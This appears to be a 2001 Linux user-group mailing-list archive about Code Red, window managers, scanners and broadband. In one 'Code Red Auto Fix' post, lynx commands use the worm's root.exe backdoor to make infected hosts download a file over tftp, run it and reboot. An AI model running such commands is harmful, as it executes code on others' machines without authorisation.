email webmaster at the machine. > > o o o o o o o . . . __________________________ ______=======_||___ > o _____ | James A. N. Stauffer | | JStauffer@ | > .][__n_n_|DD[ ====____ | Spam food: uce@ftc.gov | | SPSCommerce.com | > >(________|__|_[________]_|________________________|_|_________________| > _/oo OOOOO oo` ooo ooo 'o?o?o o?o?o` 'o?o o?o` -- Thanks, Spencer J Sinn From esper at sherohman.org Tue Aug 7 11:08:09 2001 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:25:41 2005 Subject: [TCLUG] Code Red Auto Fix In-Reply-To: <29003634378AD4119E940050046C0CDF01E4B2DF@spedi-exchange>; from jstauffer@spscommerce.com on Tue, Aug 07, 2001 at 10:34:23AM -0500 References: <29003634378AD4119E940050046C0CDF01E4B2DF@spedi-exchange> Message-ID: <20010807110809.M28861@sherohman.org> On Tue, Aug 07, 2001 at 10:34:23AM -0500, James Stauffer wrote: > Would it work to write a program that listens for the default.ida request > and then sends back a patch through the hole to IIS on the machine with the > virus? It wouldn't be a virus because it would not spread (it would not > send itself, only the patch). It's legality shouldn't be a problem because > you are only protecting your computer and not harming the other computer. > It could also try to email webmaster at the machine. Technically, yes, it could be done easily. Some scripts have been posted today on the debian-user mailing list which could probably be modified to do so with minimal effort. I wouldn't bet on its legality, though. The current laws on that sort of thing are currently sufficiently fu^H^Hmessed up that sending email to your child's teacher could be illegal because it "modifies" the school's computer systems by storing data on them. I wouldn't care to take the chance of going anywhere near that tar pit. -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From moomonk at greentechnologist.org Tue Aug 7 06:22:16 2001 From: moomonk at greentechnologist.org (Joshua b. Jore) Date: Mon Jan 17 13:25:42 2005 Subject: [TCLUG] CBOS 2.4.2 online http://www.mn-linux.org/members/tanner/ In-Reply-To: Message-ID: Oh so 2.4.1 isn't code red proof? Darn, and I just upgraded some friend's modems to 2.4.1 hoping to deal with that thing. Of course, I'm in briding mode so my modem hasn't even blinked at this whole thing ;-) Joshua Jore Minneapolis Ward 3, precinct 10 "The irony of this man being imprisoned in the United States and longing to return to once-Communist Russia so he can regain his right to free speach is simply staggering." On Tue, 7 Aug 2001, Brian wrote: > On Tue, 7 Aug 2001, James Spinti wrote: > > > Maybe you should send your link to StarTribune, seems Qwest is still > > clueless (one month later...) > > > > http://www.startribune.com/viewers/qview/cgi/qview.cgi?template=tech_a_cache > > &slug=worm07 > > Umm... wow, this article really sucks. Paraphrased quote: "Qwest wouldn't > comment on how soon service will be restored". Well, if you ask questions > like that you'll never get the right story folks :-) > > On a side note, I saw a trick posted here about using nat to send port 80 > requests off into the bit bucket. Does that effectively work? I know a > few people who could do that that probably aren't ready to upgrade CBOS on > their own. > > 1179 Code Red hits since 4 AM Sun and still counting.... > > -Brian > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From jethro at freakzilla.com Tue Aug 7 11:14:05 2001 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:25:42 2005 Subject: [TCLUG] Code Red Auto Fix In-Reply-To: <20010807105851.A12783@thor> Message-ID: Hi, On Tue, 7 Aug 2001, Spencer J Sinn wrote: > Making changes or modifications to anyones machine without their express > consent is illegal. Setting up an auto-mailer to contact the webmaster > is not a bad idea. Except a lot of these are dorky kids running NT with no mail support. -Yaron -- From lxy at cloudnet.com Tue Aug 7 11:14:09 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:25:42 2005 Subject: OT: scanners [Was Re: [TCLUG] OT] In-Reply-To: <3B6F76D9.75E367F2@gvtel.com> Message-ID: On Tue, 7 Aug 2001, Robert Sinland wrote: > I have been looking for a scanning hand-held radio that would > pick up police and fire bands. Seems like Uniden has a corner > on the market there. Was just wondering if anyone could throw > a few recomendations at me. I bought my dad a Realistic (Radio Shack) PRO-91 scanner last year for his b-day. It's really the Cadillac of handhelds. Radio Shack originally sold them for $250, found them all over Ebay brand new for under $100. I see they have a PRO-92 now, which probably has more useless features and blinky lights than the PRO-91. Anyway the PRO-91 is a pretty good scanner, I haven't thought of anything yet that it can't do. If you're looking for a Police/Fire/Medical scanner I think just about anything out there will serve you well. My suggestion is to find a Uniden or Realistic that does what you need it to and then go get it on Ebay for way cheaper. -Brian From fertch at mninter.net Tue Aug 7 11:34:51 2001 From: fertch at mninter.net (Shawn) Date: Mon Jan 17 13:25:42 2005 Subject: [TCLUG] DSL-attached Linux safety References: <200108022028.f72KStQ05502@sprite.real-time.com> Message-ID: <3B7018AB.9010507@mninter.net> peter.clark@tides.com wrote: >--- jethro@freakzilla.com wrote: > >>PS Maybe we should have a Unix Security thing at a TCLUG meeting? >> > >I second this. There's a lot that I'm still learning, even though I try to >make sure that I have nothing but the essentials running. If someone would >whip together a presentation about how to harden a Linux box and what to do >and watch for once you've done so, I would definitely try to attend. >:Peter > I'd be really interested in this. Hopefully when this meeting comes around, I can make it. On a side note, a book that looks fairly good covering this topic is: "A Hacker's Guide to Linux Security" the author is anonymous. I believe it's a Sam's or Corilus publication. I picked it up and Barnes and Noble. Haven't had a chance to do more than glance at it however. Shawn From fertch at mninter.net Tue Aug 7 11:51:47 2001 From: fertch at mninter.net (Shawn) Date: Mon Jan 17 13:25:42 2005 Subject: [TCLUG] Digital Broadcasting References: Message-ID: <3B701CA3.70809@mninter.net> Zibby, I think he's talking about wireless high-speed connectivity. Those of us who live out in the boonies and don't have cable-modem or DSL at the moment and want high-speed 'net connectivity can't get it. ISDN is higher than modem, but the cost isn't too effective. Me thinks the heat's gotten to Zib's brain. Someone get him a cold brew. Shawn Andy Zbikowski (Zibby) wrote: >On Tue, 7 Aug 2001, Rick Engebretson wrote: > >>The TV stations sure have plenty of bandwidth and range, and commercial >>time to kill. Perhaps a compatible encoding protocol is conceivable that >>will allow widespread, high speed computer downloads. >> > >Are you trying to make a funny or has it been comfortable under that rock >the past few years? Cable Modem service is offered by AT&T and Time >Warner. How you missed out on that is beyond me, unless you really are >living under a rock...strangest post I've seen in awile. > From chrome at real-time.com Tue Aug 7 11:52:16 2001 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:25:42 2005 Subject: [TCLUG] Debian / Gnome Question In-Reply-To: ; from zibby+tclug@ringworld.org on Tue, Aug 07, 2001 at 08:55:28AM -0500 References: <20010807031445.A77274@io.stderr.net> Message-ID: <20010807115216.G24839@real-time.com> to add a counter-opinion: > Other gnome window managers in Debian: > sawfish, really nice lightweight window manager. not as customizable as FVWM; not as many bells & whistles as Enlightenment. always leaves me feeling it's rather bland. > enlightenment, but just say no. Bloat bloat bloat... lots of bells & whistles; if you have lots of memory & horsepower, it's pretty cool... until a malformed theme breaks it. :( it's a bit fragile. I use it at home, because it's got lots of eye candy. :) > Window Maker, but that gets a bit strange with GNOME. can't customize the buttons, and I don't agree with it's version of ergonomics. :( I use FVWM 2.4 at work, for getting work done; and Enlightenment at home for the sake of eye candy. (and it's less important if it breaks). Carl Soderstrom. -- Network Engineer Real-Time Enterprises (952) 943-8700 From fertch at mninter.net Tue Aug 7 12:00:23 2001 From: fertch at mninter.net (Shawn) Date: Mon Jan 17 13:25:42 2005 Subject: OT: scanners [Was Re: [TCLUG] OT] References: Message-ID: <3B701EA7.6070305@mninter.net> >On Tue, 7 Aug 2001, Robert Sinland wrote: > >> I have been looking for a scanning hand-held radio that would >>pick up police and fire bands. Seems like Uniden has a corner >>on the market there. Was just wondering if anyone could throw >>a few recomendations at me. >> I had a Uniden base scanner a few years ago that I paid around $150 for. I'd recommend a base scanner if you're going to be at work listening for these things and you can get away with running an antenna wire. I believe mine came with a small antenna that mounted to the back as well. I had mine when I was driving tow trucks for a living. One word though on scanners: Don't get caught carrying one in your car sitting loose on the seat, or one mounted on the dash like a CB. Last I heard, it's still illegal to have them in a vehicle. Shawn From chrome at real-time.com Tue Aug 7 11:57:29 2001 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:25:42 2005 Subject: [TCLUG] CBOS 2.4.2 online http://www.mn-linux.org/members/tanner/ In-Reply-To: ; from jspinti@dart.dartdist.com on Tue, Aug 07, 2001 at 08:59:10AM -0500 References: <20010720005934.A14990@real-time.com> Message-ID: <20010807115729.H24839@real-time.com> > Maybe you should send your link to StarTribune, seems Qwest is still > clueless (one month later...) > > http://www.startribune.com/viewers/qview/cgi/qview.cgi?template=tech_a_cache > &slug=worm07 lord forbid that newspapers should have comment sections by their articles, so someone could post a followup that says " use 'set web port 6789' to avoid the worm". Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From chrome at real-time.com Tue Aug 7 12:01:30 2001 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:25:42 2005 Subject: OT: scanners [Was Re: [TCLUG] OT] In-Reply-To: <3B701EA7.6070305@mninter.net>; from fertch@mninter.net on Tue, Aug 07, 2001 at 12:00:23PM -0500 References: <3B701EA7.6070305@mninter.net> Message-ID: <20010807120130.I24839@real-time.com> > One word though on scanners: Don't get caught carrying one in your car > sitting loose on the seat, or one mounted on the dash like a CB. Last I > heard, it's still illegal to have them in a vehicle. so do you hide them under the seat or what? Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From lxy at cloudnet.com Tue Aug 7 12:01:59 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:25:42 2005 Subject: OT: scanners [Was Re: [TCLUG] OT] In-Reply-To: <3B701EA7.6070305@mninter.net> Message-ID: On Tue, 7 Aug 2001, Shawn wrote: > One word though on scanners: Don't get caught carrying one in your car > sitting loose on the seat, or one mounted on the dash like a CB. Last I > heard, it's still illegal to have them in a vehicle. I'm not 100% sure on this, but my understanding is that you can obtain permits for mobile scanners. You can either apply for one from law enforcement, but then you need a damn good reason. The other is to get your ham license. I've been told by several people that ham operators are allowed to carry mobile scanners. -Brian From nate at techie.com Tue Aug 7 12:11:08 2001 From: nate at techie.com (Nate Straz) Date: Mon Jan 17 13:25:42 2005 Subject: [TCLUG] Debian / Gnome Question In-Reply-To: <20010807115216.G24839@real-time.com>; from chrome@real-time.com on Tue, Aug 07, 2001 at 11:52:16AM -0500 References: <20010807031445.A77274@io.stderr.net> <20010807115216.G24839@real-time.com> Message-ID: <20010807121108.A21087@candle.mn.mediaone.net> On Tue, Aug 07, 2001 at 11:52:16AM -0500, Carl Wilhelm Soderstrom wrote: > I use FVWM 2.4 at work, for getting work done; and Enlightenment at home for > the sake of eye candy. (and it's less important if it breaks). You could have fooled me. I was having a hell of a time getting anything done during the meeting on FVWM. I prefer IceWM myself. The default keys are good. It handles managing lots of windows on many desktops really well[1]. You can use the keyboard to do anything[2]. The command line built into the task bar is really handy. I use it all the time to bring up man pages[3]. The default window focusing bahavior is sane[4]. Nate [1] Ctrl+Alt+Left, Ctrl+Alt+Right: Move to desktop on left or right Ctrl+Alt+Shift+Left, Ctrl+Alt+Shift+Right: Take the window with you [2] The window menu LABELs the keys [3] Ctrl+Alt+Space man bash Ctrl+Enter [4] If I click on window that means I want to see the whole window. From dieman+tclug at ringworld.org Tue Aug 7 12:15:59 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:25:42 2005 Subject: [TCLUG] Debian / Gnome Question In-Reply-To: <20010807115216.G24839@real-time.com> Message-ID: <20010807121559.B6692@ringworld.org> * Carl Wilhelm Soderstrom [010807 11:54]: > not as customizable as FVWM; not as many bells & whistles as > Enlightenment. always leaves me feeling it's rather bland. sawfish. Customizable using *lisp* Beat that :) -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From dieman+tclug at ringworld.org Tue Aug 7 12:18:32 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:25:42 2005 Subject: [TCLUG] internet-connection load-balancing In-Reply-To: <54180709DD3FE145917BB165AFE7EFA00A8439@mspexch2.office.mktw.net> Message-ID: <20010807121832.C6692@ringworld.org> > Does anyone out there have any experience load balancing internet > connections (DSL in this case) using Linux? If so, what are the > implications when the connections are provided by separate ISPs? And What are you trying to gain, in paticular? downloading or serving speed? redundancy? etc... -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From dieman+tclug at ringworld.org Tue Aug 7 12:22:32 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:25:42 2005 Subject: [TCLUG] Digital Broadcasting In-Reply-To: <3B701CA3.70809@mninter.net> Message-ID: <20010807122232.D6692@ringworld.org> * Shawn [010807 11:50]: > Zibby, I think he's talking about wireless high-speed connectivity. > Those of us who live out in the boonies and don't have cable-modem or > DSL at the moment and want high-speed 'net connectivity can't get it. > ISDN is higher than modem, but the cost isn't too effective. Hell, even fairbalt(sp?) has cable modems now. And, if you can see the 'southern sky' you can get a really fat latent pipe from starband. :) If you want connectivity you can allways get it. It just costs more because the economy of scale doesnt exist out there. If I wanted to live in the middle of nowhere and had cash, I would get a fractional t1 frame back to the nearest major city... Not cheap, but resell dialups on it and try to recoup the cost. -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From fertch at mninter.net Tue Aug 7 12:31:48 2001 From: fertch at mninter.net (Shawn) Date: Mon Jan 17 13:25:43 2005 Subject: OT: scanners [Was Re: [TCLUG] OT] References: <3B701EA7.6070305@mninter.net> <20010807120130.I24839@real-time.com> Message-ID: <3B702604.6030607@mninter.net> Carl Wilhelm Soderstrom wrote: >>One word though on scanners: Don't get caught carrying one in your car >>sitting loose on the seat, or one mounted on the dash like a CB. Last I >>heard, it's still illegal to have them in a vehicle. >> > >so do you hide them under the seat or what? > Don't have one anymore. Never had one in a car either. As Brian mentioned, you need a license to have one in a car. As to the Ham license thing, I don't know about that. Been far to long that I've been interested in things like that. Besides, can't hear the scanner when the stereo is cranked up to drown out the gear and engine noise. Shawn From zibby+tclug at ringworld.org Tue Aug 7 12:29:01 2001 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 13:25:43 2005 Subject: [TCLUG] Debian / Gnome Question In-Reply-To: <20010807115216.G24839@real-time.com> Message-ID: I personally gave up on Enlightenment a long time ago. Eye Candy at a price. I was amazed at the difference between running E+GNOME and running IceWM+GNOME. (My machine was much slower at the time, but still. They can't seem to decide if Enlightenment is a window manager, desktop [epplets?], or a concept. most themers would say window manager, developers a concept. Not quite enough to make it a desktop) As far a customizing, sawfish lets me bind keys, that's about all I need. Don't know what there is to customizie in FVWM. The thing about Sawfish is that it's pretty useless without GNOME. The author never intended for it to stand on it's own. It manages windows, let gnome have the menus (though I notice sawfish 1.0 has a menu now, looks like it's the Debian menu system.) pager, background switching, etc. I do like that you can bind just about every function. My mouse wheel controls desktop switching when no window has focus for example. I'm sure this is an easy thing to do in other window managers, but it's one of those little things you learn to just love. I never got into the Next/Open Step thing myself. For most of us, we're used to windows like behavior with the minimize, maximize, close, and menu buttons on the title bar. Rollup/window shade is a nice bonus (for some of us.) But the warf/dock is just kinda strange. Is it a task manager or a task launcher? Totally different concept on how you should interact with your computer. I'm sure there's a description of it somewhere in the Window Maker docs, or maybe something on Apples site as OSX follows this somewhat. I've used FVWM. I do like it. But I'm lazy and like point click click click...so GNOME it is. And when I need something really trim, I go to blackbox, not fvwm. I need food, later. Andrew S. Zbikowski | http://www.ringworld.org "We can learn much more from wise words, little from wisecracks and less from wise guys." --William Arthur Ward From zibby+tclug at ringworld.org Tue Aug 7 12:40:13 2001 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 13:25:43 2005 Subject: [TCLUG] Digital Broadcasting In-Reply-To: <3B701CA3.70809@mninter.net> Message-ID: Now that I read it again, you're right. But he's talking brodcast. Not satlite, but plain old brodcast tv. (Well, Digital TV brodcast now...) Well, it is possible. I know there was some show before the advent of cable modems that included some sort of download in their show's signal. No idea how it was actually decoded on the user end. Setting the FCC regulations aside, could this really work? First hurdle is that your brodcast tv signal is one way. It takes some high power equipment and tall towers to get the signal to you. You would need a similar setup to get it back for 2 way communication. Then there's priviacy to consider. And what happens when you spead your live in close quarters to a high powered radio transmitter? I think we should put this discussion on hold until the original poster has a chance to clarify what he ment. Then we can pick it apart. :) > Me thinks the heat's gotten to Zib's brain. Someone get him a cold brew. You are correct sir. Now where's my brew? Andrew S. Zbikowski | http://www.ringworld.org "We can learn much more from wise words, little from wisecracks and less from wise guys." --William Arthur Ward From jason.lowe at cit-net.com Tue Aug 7 12:38:42 2001 From: jason.lowe at cit-net.com (Lowe, Jason) Date: Mon Jan 17 13:25:43 2005 Subject: OT: scanners [Was Re: [TCLUG] OT] Message-ID: You are correct, Sir. -----Original Message----- From: Brian [mailto:lxy@cloudnet.com] Sent: Tuesday, August 07, 2001 12:02 PM To: tclug-list@mn-linux.org Subject: Re: OT: scanners [Was Re: [TCLUG] OT] On Tue, 7 Aug 2001, Shawn wrote: > One word though on scanners: Don't get caught carrying one in your car > sitting loose on the seat, or one mounted on the dash like a CB. Last I > heard, it's still illegal to have them in a vehicle. I'm not 100% sure on this, but my understanding is that you can obtain permits for mobile scanners. You can either apply for one from law enforcement, but then you need a damn good reason. The other is to get your ham license. I've been told by several people that ham operators are allowed to carry mobile scanners. -Brian _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From joel at luths.net Tue Aug 7 12:56:03 2001 From: joel at luths.net (joel@luths.net) Date: Mon Jan 17 13:25:43 2005 Subject: [TCLUG] Code Red II In-Reply-To: <20010806122115.J23423@fandre.com> References: <20010806122115.J23423@fandre.com> Message-ID: <997206963.3b702bb33a999@www.luths.net> Quoting Clay Fandre : > Dave Sherohman [esper@sherohman.org] wrote: > > On Mon, Aug 06, 2001 at 12:06:05PM -0500, Shane Kinney wrote: > > > Thanks for all of the help. I was starting to get worried when my > cable > > > modem & router lights were going crazy last night and the fact that > I > > > heard that there is a new strain out that effects shells or > something. > > > > Not "effects shells", really. It makes a shell available (without any > > authentication, of course) available remotely on infected machines. > > > > Any idea how to access it? Does NT have a shutdown command? :-) All MS products have a built-in shutdown command. For ease of use, this command runs periodically without user intervention. From joel at luths.net Tue Aug 7 12:59:39 2001 From: joel at luths.net (joel@luths.net) Date: Mon Jan 17 13:25:43 2005 Subject: Stop the Insanity (was: Re: [TCLUG] more pointless posts to clog up your mailboxes.) In-Reply-To: <20010806154946.35ba327e.blayer@qwest.net> References: <54180709DD3FE145917BB165AFE7EFA00A8431@mspexch2.office.mktw.net> <20010806154946.35ba327e.blayer@qwest.net> Message-ID: <997207179.3b702c8b493f8@www.luths.net> Quoting Bill Layer : > > Say, didn't this list used to be more geeking and less asskicking? =/ > I think it's some sort of law governing the natural evolution of mailing lists, akin to the 2nd Law of Thermodynamics. The amount of asskicking on a mailing list can only increase or at best stay they same, but it can never decrease. There is an obvious corollary for geeking, though inverse. From shane at shell.schulte.org Tue Aug 7 12:56:14 2001 From: shane at shell.schulte.org (Shane Kinney) Date: Mon Jan 17 13:25:43 2005 Subject: [TCLUG] Code Red II In-Reply-To: <997206963.3b702bb33a999@www.luths.net> Message-ID: You wanna hear something else thats funny: My friend reinstalled WinME last night and then had to use CTR-ALT-DEL when it booted back up. In the window it said: "Welcome To Windows ME! [Not Responding]" So we had to kill it. Hehe :P ~Shane On Tue, 7 Aug 2001 joel@luths.net wrote: > Quoting Clay Fandre : > > > Dave Sherohman [esper@sherohman.org] wrote: > > > On Mon, Aug 06, 2001 at 12:06:05PM -0500, Shane Kinney wrote: > > > > Thanks for all of the help. I was starting to get worried when my > > cable > > > > modem & router lights were going crazy last night and the fact that > > I > > > > heard that there is a new strain out that effects shells or > > something. > > > > > > Not "effects shells", really. It makes a shell available (without any > > > authentication, of course) available remotely on infected machines. > > > > > > > Any idea how to access it? Does NT have a shutdown command? :-) > > All MS products have a built-in shutdown command. For ease of use, this command > runs periodically without user intervention. > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From austad at marketwatch.com Tue Aug 7 12:56:55 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:25:43 2005 Subject: Stop the Insanity (was: Re: [TCLUG] more pointless posts to c log up your mailboxes.) Message-ID: <54180709DD3FE145917BB165AFE7EFA00A8445@mspexch2.office.mktw.net> If you wanna see some serious ass kicking on mailing lists, go read the qmail list archives at qmail.org. A few hundred messages a day of people insulting each other. It's a wonder they get anything done. > -----Original Message----- > From: joel@luths.net [mailto:joel@luths.net] > Sent: Tuesday, August 07, 2001 1:00 PM > To: tclug-list@mn-linux.org > Subject: Re: Stop the Insanity (was: Re: [TCLUG] more > pointless posts to clog up your mailboxes.) > > > Quoting Bill Layer : > > > > Say, didn't this list used to be more geeking and less > asskicking? =/ > > > > I think it's some sort of law governing the natural evolution > of mailing lists, > akin to the 2nd Law of Thermodynamics. The amount of > asskicking on a mailing > list can only increase or at best stay they same, but it can > never decrease. > There is an obvious corollary for geeking, though inverse. > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-> linux.org/mailman/listinfo/tclug-list > From joel at luths.net Tue Aug 7 13:09:34 2001 From: joel at luths.net (joel@luths.net) Date: Mon Jan 17 13:25:43 2005 Subject: [TCLUG] Code Red Auto Fix In-Reply-To: References: Message-ID: <997207774.3b702ede33494@www.luths.net> Seems like webmaster@domain is often a black hole anyway. Anyone who still has an unpatched IIS is unlikely to have set up a proper webmaster mail account. Quoting Yaron : > Hi, > > On Tue, 7 Aug 2001, Spencer J Sinn wrote: > > > Making changes or modifications to anyones machine without their > express > > consent is illegal. Setting up an auto-mailer to contact the webmaster > > is not a bad idea. > > Except a lot of these are dorky kids running NT with no mail support. > > > -Yaron > From austad at marketwatch.com Tue Aug 7 12:59:48 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:25:43 2005 Subject: OT: scanners [Was Re: [TCLUG] OT] Message-ID: <54180709DD3FE145917BB165AFE7EFA00A8446@mspexch2.office.mktw.net> Has anyone tried making a data slicer out of an old motorola flex pager? I have a whole box of em, and I'm just itching to take one apart and make something fun with it. > -----Original Message----- > From: Lowe, Jason [mailto:jason.lowe@cit-net.com] > Sent: Tuesday, August 07, 2001 12:39 PM > To: 'tclug-list@mn-linux.org' > Subject: RE: OT: scanners [Was Re: [TCLUG] OT] > > > You are correct, Sir. > > > -----Original Message----- > From: Brian [mailto:lxy@cloudnet.com] > Sent: Tuesday, August 07, 2001 12:02 PM > To: tclug-list@mn-linux.org > Subject: Re: OT: scanners [Was Re: [TCLUG] OT] > > > On Tue, 7 Aug 2001, Shawn wrote: > > > One word though on scanners: Don't get caught carrying one in your > > car > > sitting loose on the seat, or one mounted on the dash like > a CB. Last I > > heard, it's still illegal to have them in a vehicle. > > I'm not 100% sure on this, but my understanding is that you > can obtain permits for mobile scanners. You can either apply > for one from law enforcement, but then you need a damn good > reason. The other is to get your ham license. I've been > told by several people that ham operators are allowed to > carry mobile scanners. > > -Brian > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-> linux.org/mailman/listinfo/tclug-list > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-> linux.org/mailman/listinfo/tclug-list > From austad at marketwatch.com Tue Aug 7 13:02:26 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:25:43 2005 Subject: [TCLUG] CBOS 2.4.2 online http://www.mn-linux.org/members/tan ner/ Message-ID: <54180709DD3FE145917BB165AFE7EFA00A8447@mspexch2.office.mktw.net> You can also do: set web port 22222 set web disabled write reboot That prevents code red from messing with it, unless a new variant comes out which tries every port (which seems unlikely). > -----Original Message----- > From: Brian [mailto:lxy@cloudnet.com] > Sent: Tuesday, August 07, 2001 9:41 AM > To: tclug-list@mn-linux.org > Subject: RE: [TCLUG] CBOS 2.4.2 online > http://www.mn-linux.org/members/tanner/ > > > On Tue, 7 Aug 2001, James Spinti wrote: > > > Maybe you should send your link to StarTribune, seems Qwest > is still > > clueless (one month later...) > > > > > http://www.startribune.com/viewers/qview/cgi/q> view.cgi?template=tech_a > > _cache > > &slug=worm07 > > Umm... wow, this article really sucks. Paraphrased quote: > "Qwest wouldn't comment on how soon service will be > restored". Well, if you ask questions like that you'll never > get the right story folks :-) > > On a side note, I saw a trick posted here about using nat to > send port 80 requests off into the bit bucket. Does that > effectively work? I know a few people who could do that that > probably aren't ready to upgrade CBOS on their own. > > 1179 Code Red hits since 4 AM Sun and still counting.... > > -Brian > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-> linux.org/mailman/listinfo/tclug-list > From ben at nerp.net Tue Aug 7 13:03:00 2001 From: ben at nerp.net (Ben Kochie) Date: Mon Jan 17 13:25:43 2005 Subject: [TCLUG] Lanparty: August 17-19th Message-ID: -----BEGIN PGP SIGNED MESSAGE----- I forgot to send this reminder out.. I'm hosting a lanparty near downtown Minneapolis on August 17th-19th. For more information, keep tuned to http://lanparty.nerp.net/ If you'd like to attend, please signup with the registration form. Thank You, Ben Kochie (ben@nerp.net) "Unix is user friendly, Its just picky about its friends." -----BEGIN PGP SIGNATURE----- Version: 2.6.3ia Charset: noconv iQCVAwUBO3AtVctpDhsSpvgtAQG8PgP+OPyqDRPsQE4fcJ+7HpBJLfbf9zAObrQk oHCNoJ8x+uzTNkcjvby+oj6/B3SysbJlRpq4APy4CYYRj/vK1Ow/ZLxEJxCG8X2z gsMsS6RUUhIphp/S16QjNYwil9u+KhOh0RMjyPLiE17XUIy1ULFaj4GIawsqI5VZ W4PHFAI/WCc= =ulj/ -----END PGP SIGNATURE----- From joel at luths.net Tue Aug 7 13:19:30 2001 From: joel at luths.net (joel@luths.net) Date: Mon Jan 17 13:25:43 2005 Subject: Stop the Insanity (was: Re: [TCLUG] more pointless posts to c log up your mailboxes.) In-Reply-To: <54180709DD3FE145917BB165AFE7EFA00A8445@mspexch2.office.mktw.net> References: <54180709DD3FE145917BB165AFE7EFA00A8445@mspexch2.office.mktw.net> Message-ID: <997208370.3b70313209c59@www.luths.net> Quoting "Austad, Jay" : > If you wanna see some serious ass kicking on mailing lists, go read the > qmail list archives at qmail.org. > > A few hundred messages a day of people insulting each other. It's a > wonder > they get anything done. > Ugh. I struggled mightily to get qmail running (it's still not perfect), but it never got so bad as to get me to post to that list for help. Like jumping into a vat of acid. The ezmlm list isn't nearly as bad, but can get snippy too sometimes. What is it about mail admin that makes people so ornery? From joel at luths.net Tue Aug 7 13:20:30 2001 From: joel at luths.net (joel@luths.net) Date: Mon Jan 17 13:25:43 2005 Subject: [TCLUG] Code Red II In-Reply-To: References: Message-ID: <997208430.3b70316ecf868@www.luths.net> Quoting Shane Kinney : > You wanna hear something else thats funny: > My friend reinstalled WinME last night and then had to use CTR-ALT-DEL > when it booted back up. In the window it > said: "Welcome To Windows ME! [Not Responding]" > So we had to kill it. Hehe :P > ~Shane > LOL, "Welcome" indeed! From austad at marketwatch.com Tue Aug 7 13:10:06 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:25:43 2005 Subject: [TCLUG] Code Red Auto Fix Message-ID: <54180709DD3FE145917BB165AFE7EFA00A8448@mspexch2.office.mktw.net> Actually, since code red II installs a backdoor, you could have an autoresponder script that gets run against the ip of the machine hitting default.ida on your webserver. Something like (friggin outlook capitalizes all of the following lines): Lynx -source http://infectedhost/scripts/root.exe+/c+tftp+-i+tftpserver.yourdomain.com+GE T+iispatch.exe+c:\iispatch.exe > /dev/null Lynx -source http://infectedhost/scripts/root.exe+/c+c:\iispatch.exe > /dev/null Lynx -source http://infectedhost/scripts/root.exe+/c+reboot Or something similar. You'd probably need something in there to remove the worm also, because the patch won't remove the worm from the system. > -----Original Message----- > From: joel@luths.net [mailto:joel@luths.net] > Sent: Tuesday, August 07, 2001 1:10 PM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] Code Red Auto Fix > > > Seems like webmaster@domain is often a black hole anyway. > Anyone who still has > an unpatched IIS is unlikely to have set up a proper > webmaster mail account. > > Quoting Yaron : > > > Hi, > > > > On Tue, 7 Aug 2001, Spencer J Sinn wrote: > > > > > Making changes or modifications to anyones machine without their > > express > > > consent is illegal. Setting up an auto-mailer to contact the > > > webmaster is not a bad idea. > > > > Except a lot of these are dorky kids running NT with no > mail support. > > > > > > -Yaron > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-> linux.org/mailman/listinfo/tclug-list > From austad at marketwatch.com Tue Aug 7 13:18:20 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:25:43 2005 Subject: Stop the Insanity (was: Re: [TCLUG] more pointless posts to c log up your mailboxes.) Message-ID: <54180709DD3FE145917BB165AFE7EFA00A8449@mspexch2.office.mktw.net> > sometimes. What is it about mail admin that makes people so ornery? If I had to deal with users mail all day, I'd be ornery too. Even more so than I already am. :) It took me about 3 months to get qmail and ezmlm working the way I wanted it to. Dan Bernstein's license sucks, so to get features, you have to download a ton of patches and apply them in a certain order or you are sure to hose it all up. I had to make some custom mods to qmail also, which broke some other stuff that I had to fix. I will say though, Dan's code is nice and clean. It has no comments in any of it, but it really doesn't need any. Jay From fertch at mninter.net Tue Aug 7 13:33:55 2001 From: fertch at mninter.net (Shawn) Date: Mon Jan 17 13:25:43 2005 Subject: [TCLUG] Digital Broadcasting References: <20010807122232.D6692@ringworld.org> Message-ID: <3B703493.6000705@mninter.net> Scott Dier wrote: >Hell, even fairbalt(sp?) has cable modems now. > >And, if you can see the 'southern sky' you can get a really fat latent >pipe from starband. :) > >If you want connectivity you can allways get it. It just costs more >because the economy of scale 